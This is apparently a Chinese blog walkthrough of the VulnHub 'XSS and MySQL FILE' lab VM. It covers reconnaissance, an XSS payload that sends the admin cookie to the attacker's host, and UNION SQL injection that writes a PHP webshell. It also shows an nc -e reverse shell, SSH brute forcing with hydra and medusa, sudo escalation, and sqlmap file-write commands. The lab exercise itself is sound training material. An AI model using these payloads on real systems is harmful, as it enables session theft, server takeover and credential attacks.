vulnhub靶场之XSS AND MYSQL FILE


vulnhub靶场之XSS AND MYSQL FILE

学习内容:跨站点脚本利用、具有权限的MySQL注入

一、环境配置

1.下载镜像文件

​ 镜像文件下载地址:PENTESTER LAB: XSS AND MYSQL FILE

2.确定靶机IP地址

​ 下载镜像文件制作成虚拟机后,需要确定它的IP地址,这里安装系统后默认是直接进入到bash里面的,可以直接查看。

​ 这个时候就不要去这台靶机里面进行操作了,换到我们的攻击机,我这里使用到的是kali

​ 如果在没有靶机shell的情况下,就要设置成同一张网卡模式,然后进行扫描了

​ 首先查看一下自己攻击机的IP地址,确定一下网段

​ 然后用fping扫描一下局域网的靶机,我这里使用的是fping

参数解释
-a显示可ping通的目标 -g 生成目标IP列表
-q安静模式,不显示每个目标或者每个ping的结果
-q安静模式,不显示每个目标或者每个ping的结果

​ 这里可以看到扫描结果

​ 192.168.29.1是我物理机的IP地址

​ 192.168.29.2是网关的地址

​ 192.168.29.129是kali的地址

​ 所以192.168.29.159就是靶机的地址啦

1
2
3
4
5
6
┌──(root㉿kali)-[~/Desktop]
└─# fping -agq 192.168.29.0/24
192.168.29.1
192.168.29.2
192.168.29.129
192.168.29.159

二、渗透

1.信息收集(服务与端口)

​ 得到靶机地址后,就要对靶机进行信息收集,首先是扫描端口服务,我这里用的是nmap

参数解释
-sV进行版本探测
-p-这个等同于-p 1-65535 扫描所有端口
-n不进行域名解析

​ 这里发现了两个端口,一个是22一个是80,

1
2
3
4
5
6
7
8
9
10
11
┌──(root㉿kali)-[~/Desktop]
└─# nmap -sV -p- -n 192.168.29.159
Starting Nmap 7.92 ( https://nmap.org ) at 2023-04-04 03:14 EDT
Nmap scan report for 192.168.29.159
Host is up (0.00039s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.5p1 Debian 6+squeeze4 (protocol 2.0)
80/tcp open http Apache httpd 2.2.16 ((Debian))
MAC Address: 00:0C:29:08:8A:A3 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

2.服务分析

​ 我们直接来访问80,看看有什么东西

​ 然后对其所有的功能进行点击尝试,我这里点击的是Welcome,然后发现了一个类似评论的地方,随便输入点东西看看

​ 提交之后,发现页面居然有了我刚提交的类型,猜测可能会存在XSS漏洞

3.尝试注入

​ 尝试进行xss注入

​ 成功弹出窗口,证明有xss漏洞

​ 经过之前对网站的功能点进行尝试,发现有个后台登录页面,既然这里有xss漏洞,就可以尝试一下看能不能获取到管理员的cookie

4.获取管理员cookie

​ 首先在kali里面用nc监听本地80端口

1
nc -lvnp 80
参数解释
-l使用监听模式
-n直接使用IP地址
-p设置本地主机使用的端口
-v显示指令执行的过程

​ 然后利用xss漏洞来反弹cookie

1
<script>document.write('<img src="http://192.168.29.129/?' + document.cookie+' "/>');</script>

​ 返回kali查看接收情况,发现GET /?PHPSESSID=194cbni19n9mppncpkrgsen5m4 HTTP/1.1

1
2
3
4
5
6
7
8
9
10
listening on [any] 80 ...
connect to [192.168.29.129] from (UNKNOWN) [192.168.29.129] 56128
GET /?PHPSESSID=194cbni19n9mppncpkrgsen5m4 HTTP/1.1
Host: 192.168.29.129
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://192.168.29.159/

​ 这个就是cookie的值,但是这个cookie是我们kali攻击机的,不是管理员的,要重新监听等管理员点击登录。

​ 在等待了一段时间之后,就获取到管理员的cookie了,下面就可以去登陆啦!

​ 要复制PHPSESSID= 后面的值

1
2
3
4
5
6
7
8
9
listening on [any] 80 ...
connect to [192.168.29.129] from (UNKNOWN) [192.168.29.159] 47282
GET /?PHPSESSID=rq6m7d0ue96u2mrr1r1u99elb7 HTTP/1.1 #管理员的Cookie键值
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/534.34 (KHTML, like Gecko) PhantomJS/1.9.1 Safari/534.34
Referer: http://127.0.0.1/post.php?id=1
Accept: */*
Connection: Keep-Alive
Accept-Encoding: gzip
Accept-Language: en-US,*

5.利用cookie

​ 到下面这个页面按F12进行开发者模式,找到内存栏,更改他的Cookie,在首页改就行,然后点击admin就到后台了

6.sql注入

​ 然后继续在后台翻一下,看看能不能更深一步渗透,这里随便点击了一个编辑界面,看url疑似存在注入!

​ 用order by来查询有几列,这里一直到5才报错,说明有四列,1 2 3 4都是正常回显

​ 然后用联合查询进行注入,看第几个字段可以在页面上显示的,这里id=的值要是一个不存在的,这里发现,第二个和第三个字段是可以在页面上显示的,进行下一步,查询当前数据库和用户

1
http://192.168.29.159/admin/edit.php?id=-1%20union%20select%201,database(),user(),4#

7.写webshell

下面可以尝试写webshell进去,先扫一下目录吧!我这里用dirb扫描的

​ 由最开始扫描靶机端口的时候发现80的中间件是apache,apache默认的网站目录是/var/www/

​ 开始写webshell

1
http://192.168.29.159/admin/edit.php?id=-1%20union%20select%201,"<?php system($_GET['hilyary']);?> into outfile '/var/www/css/hil.php'",user(),4#

​ 然后测试

8.反弹shell

​ 攻击机监听端口,然后反弹一下shell

1
2
3
http://192.168.29.159/css/hil.php?hilyary=nc -e /bin/bash 192.168.29.129 8888
#nc反弹shell
#nc -e /bin/bash 攻击机IP 攻击机监听端口

​ 这个www-data权限好多事情都干不了,下面去/etc/passwd里面看一下,发现有个user用户,跟root是一样的终端

​ 由于靶机上面开了ssh,其余路子不通,就只能对user用户进行暴力破解啦

9.暴力破解

​ 方式1:用hydra工具

1
hydra 192.168.29.159 ssh -l user -P ./pass.txt -v
参数解释
-l指定用户名
-P设置密码字典
-v显示详细过程

​ 方式2:用medusa工具

1
medusa -M ssh -h 192.168.29.159  -u user -P pass.txt -t 10 
参数解释
-M指定爆破的模块,比如telnet
-h指定目标主机IP
-u指定用户名
-P设置密码字典
-t设置线程

10.提权

​ 用爆破出来的密码登录

​ 先用sudo -l看一下可以用sudo执行的操作有哪些

1
2
3
4
5
6
user@debian:~$ sudo -l
Matching Defaults entries for user on this host:
env_reset

User user may run the following commands on this host:
(ALL) NOPASSWD: ALL

​ 发现可以直接用sudo免密执行

三、sqlmap自动化注入

1.判断是否存在注入点

​ 这里还可以用sqlmap进行自动化注入这里是让自动化工具帮我们扫描判断。这里工具显示可能存在三种类型的SQL注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
sqlmap -u "http://192.168.29.159/admin/edit.php?id=1" --cookie="PHPSESSID=i016lg7gsc37b16akjqvmggi84"

GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 60 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 4798=4798

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 3927 FROM (SELECT(SLEEP(5)))PTob)

Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: id=-9996 UNION ALL SELECT NULL,CONCAT(0x7170786271,0x64414b6174795a6a736d72684c6545766f5074735a557574554644564d736573585a796a67797764,0x717a627a71),NULL,NULL-- -
---
boolean-based blind布尔型盲注
time-based blind时间盲注
UNION query联合查询

2.查询数据库

1
2
3
4
5
6
7
sqlmap -u "http://192.168.29.159/admin/edit.php?id=1" --cookie="PHPSESSID=i016lg7gsc37b16akjqvmggi84" --dbs

#部分结果:
available databases [3]:
[*] blog
[*] information_schema
[*] mysql

3.查询blog数据库中的表

1
sqlmap -u "http://192.168.29.159/admin/edit.php?id=1" --cookie="PHPSESSID=i016lg7gsc37b16akjqvmggi84" -D blog --tables

4.查询users表中的字段

1
qlmap -u "http://192.168.29.159/admin/edit.php?id=1" --cookie="PHPSESSID=i016lg7gsc37b16akjqvmggi84" -D blog -T users --columns

5.查询值

1
sqlmap -u "http://192.168.29.159/admin/edit.php?id=1" --cookie="PHPSESSID=i016lg7gsc37b16akjqvmggi84" --is-dba

​ 发现是管理员权限,可以用sqlmap写入webshell

6.写入webshell

首先创建webshell文件并写入一句话木马

1
2
3
<?php
system($_GET['hilyary']);
?>

​ 然后根据之前扫描目录的结果写入webshell

1
2
3
4
sqlmap -u "http://192.168.29.159/admin/edit.php?id=1" --cookie="PHPSESSID=i016lg7gsc37b16akjqvmggi84" --file-write="/root/Desktop/hil.php" --file-dest="/var/www/css/muma.php"

#--file-write 是本地的文件
#--file-dest 是靶机的路径


文章作者: hilyary
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 hilyary !
评论
评论
  目录